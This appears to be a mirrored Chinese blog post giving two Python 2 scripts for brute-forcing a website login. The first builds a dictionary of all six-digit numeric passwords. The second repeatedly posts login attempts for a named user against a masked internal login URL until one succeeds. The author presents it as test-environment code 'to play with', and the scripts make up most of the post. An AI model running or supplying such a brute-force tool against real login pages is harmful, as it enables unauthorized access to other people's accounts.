zoukankan      html  css  js  c++  java
  • python 暴力破解密码脚本

    python 暴力破解密码脚本

    以下,仅为个人测试代码,环境也是测试环境,暴力破解原理都是一样的,

    假设要暴力破解登陆网站www.a.com 用户 testUser的密码,

    首先,该网站登陆的验证要支持 无限次的密码尝试

    假设testUser 的密码为 6位的纯数字

    1:先长成 6位纯数字密码字典

    import os
    
    pds=[]
    
    
    rg=range(0,10)
    
    for first in rg:
        for second in rg:
            for three in rg:
                for four in rg:
                    for five in rg:
                        for six in rg:
                            num= "%s%s%s%s%s%s"%(first,second,three,four,five,six)
                            pds.append(num)
    
    
    
    file_object = open('/Users/teso/Desktop/pwdNum6.txt', 'w')
    file_object.writelines(['%s%s' % (x,os.linesep) for x in pds])
    file_object.close( )

     上面脚本会在桌面生成 6位数字的所有密码字典 pwdNum6.txt

    2: 研究 www.a.com 网站的登陆验证机制,脚本暴力破解密码

    import urllib,urllib2,HTMLParser  
    
    #解析网页的爬虫
    class OAParser(HTMLParser.HTMLParser):
        def __init__(self):
            HTMLParser.HTMLParser.__init__(self)
            self.pd=[]
        def handle_data(self, data):
            #print "Encountered some data  :", data
            self.pd.append(data)
    
      
    #暴力破解脚本
    def tryLogin(name,pwd):
        parm={"loginName":name,
              "password":pwd}
        url="http://192.**.*.*/***/login/li"
        r=urllib2.urlopen(url, urllib.urlencode(parm))
        parse=OAParser()
        parse.feed(r.read())
        parse.close()
        isFind=False
        if "用户登录" in parse.pd:#这里是对应网站的密码验证逻辑
            print '尝试密码',pwd,'登陆失败'
            isFind = False
        else:
            print user,'登陆成功','password = ',pwd
            isFind=True    
        del(parse)
        
        return isFind
        
    
    
    user='testUser'
    #password=['1','12','123','1234','12345','123456','12345678']  
    fpath='/Users/teso/Desktop/pwdNum6.txt'
    pfile=open(fpath,'r')
    
    for onePwd in pfile.readlines():
        if tryLogin(user, onePwd[:6]):
            break;

    流程大致如此,自行研究着玩了

  • 相关阅读:
    Linux下PATH和LD_LIBRARY_PATH的设置
    WAMP配置虚拟目录
    JDBC使用Demo
    JS点击子元素不触发父元素点击事件(js阻止冒泡)
    jquery页面搜索关键词突出显示
    .net 搜索联想词
    .Net后台调用js,提示、打开新窗体、关闭当前窗体
    Jquery实现按钮点击遮罩加载,处理完后恢复
    Sys.WebForms.PageRequestManagerParserErrorException:无法分析从服务器收到的消息
    Asp.net 后台调用js方法
  • 原文地址:https://www.cnblogs.com/cocoajin/p/3991227.html
Copyright © 2011-2022 走看看